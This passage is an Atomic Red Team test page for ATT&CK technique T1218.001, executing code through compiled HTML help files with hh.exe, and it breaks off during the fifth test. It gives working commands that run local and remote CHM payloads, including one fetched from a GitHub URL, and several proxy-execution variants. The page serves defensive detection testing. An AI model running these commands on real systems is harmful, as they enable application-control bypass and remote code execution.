# T1218.001 - Signed Binary Proxy Execution: Compiled HTML File

## Description from ATT&CK

> Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)
> 
> A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)

[Source](https://attack.mitre.org/techniques/T1218/001)

## Atomic Tests

- [Atomic Test #1: Compiled HTML Help Local Payload](#atomic-test-1-compiled-html-help-local-payload)
- [Atomic Test #2: Compiled HTML Help Remote Payload](#atomic-test-2-compiled-html-help-remote-payload)
- [Atomic Test #3: Invoke CHM with default Shortcut Command Execution](#atomic-test-3-invoke-chm-with-default-shortcut-command-execution)
- [Atomic Test #4: Invoke CHM with InfoTech Storage Protocol Handler](#atomic-test-4-invoke-chm-with-infotech-storage-protocol-handler)
- [Atomic Test #5: Invoke CHM Simulate Double click](#atomic-test-5-invoke-chm-simulate-double-click)
- [Atomic Test #6: Invoke CHM with Script Engine and Help Topic](#atomic-test-6-invoke-chm-with-script-engine-and-help-topic)
- [Atomic Test #7: Invoke CHM Shortcut Command with ITS and Help Topic](#atomic-test-7-invoke-chm-shortcut-command-with-its-and-help-topic)
- [Atomic Test #8: Decompile Local CHM File](#atomic-test-8-decompile-local-chm-file)

### Atomic Test #1: Compiled HTML Help Local Payload

Uses hh.exe to execute a local compiled HTML Help payload.
Upon execution calc.exe will open

**Supported Platforms:** Windows

**auto_generated_guid:** `5cb87818-0d7c-4469-b7ef-9224107aebe8`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| local_chm_file | Local .chm payload | path | PathToAtomicsFolder&#92;T1218.001&#92;src&#92;T1218.001.chm|

#### Attack Commands: Run with `command_prompt`!

```cmd
hh.exe "#{local_chm_file}"
```


#### Dependencies: Run with `powershell`!

##### Description: The payload must exist on disk at specified location (#{local_chm_file})

###### Check Prereq Commands

```powershell
if (Test-Path "#{local_chm_file}") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory (split-path "#{local_chm_file}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.001/src/T1218.001.chm" -OutFile "#{local_chm_file}"
```

### Atomic Test #2: Compiled HTML Help Remote Payload

Uses hh.exe to execute a remote compiled HTML Help payload.
Upon execution displays an error saying the file cannot be open

**Supported Platforms:** Windows

**auto_generated_guid:** `0f8af516-9818-4172-922b-42986ef1e81d`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| remote_chm_file | Remote .chm payload | url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.001/src/T1218.001.chm|

#### Attack Commands: Run with `command_prompt`!

```cmd
hh.exe #{remote_chm_file}
```

### Atomic Test #3: Invoke CHM with default Shortcut Command Execution

Executes a CHM file with the default Shortcut Command method.

**Supported Platforms:** Windows

**auto_generated_guid:** `29d6f0d7-be63-4482-8827-ea77126c1ef7`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| chm_file_path | Default path of CHM | string | Test.chm|
| hh_file_path | path of modified HH.exe | path | $env:windir&#92;hh.exe|

#### Attack Commands: Run with `powershell`!

```powershell
Invoke-ATHCompiledHelp -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}
```


#### Dependencies: Run with `powershell`!

##### Description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.

###### Check Prereq Commands

```powershell
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}
```

###### Get Prereq Commands

```powershell
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force
```

### Atomic Test #4: Invoke CHM with InfoTech Storage Protocol Handler

Executes a CHM file with the ITS protocol handler.

**Supported Platforms:** Windows

**auto_generated_guid:** `b4094750-5fc7-4e8e-af12-b4e36bf5e7f6`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| hh_file_path | path of modified HH.exe | path | $env:windir&#92;hh.exe|
| infotech_storage_handler | Default InfoTech Storage Protocol Handler | string | its|
| chm_file_path | Default path of CHM | string | Test.chm|

#### Attack Commands: Run with `powershell`!

```powershell
Invoke-ATHCompiledHelp -InfoTechStorageHandler #{infotech_storage_handler} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}
```


#### Dependencies: Run with `powershell`!

##### Description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.

###### Check Prereq Commands

```powershell
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}
```

###### Get Prereq Commands

```powershell
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force
```

### Atomic Test #5: Invoke CHM Simulate Double click

Executes a CHM file simulating a user double click.

**Supported Platforms:** Windows

**auto_generated_guid:** `5decef42-92b8-4a93-9eb2-877ddcb9401a`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| chm_file_path | Default path of CHM | string | Test.chm|

#### Attack Commands: Run with `powershell`!

```powershell
Invoke-ATHCompiledHelp -SimulateUserDoubleClick -CHMFilePath #{chm_file_path}
```


#### Dependencies: Run with `powershell`!

##### Description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.

###### Check Prereq Commands

```powershell
$RequiredModule = Get-Module -Name At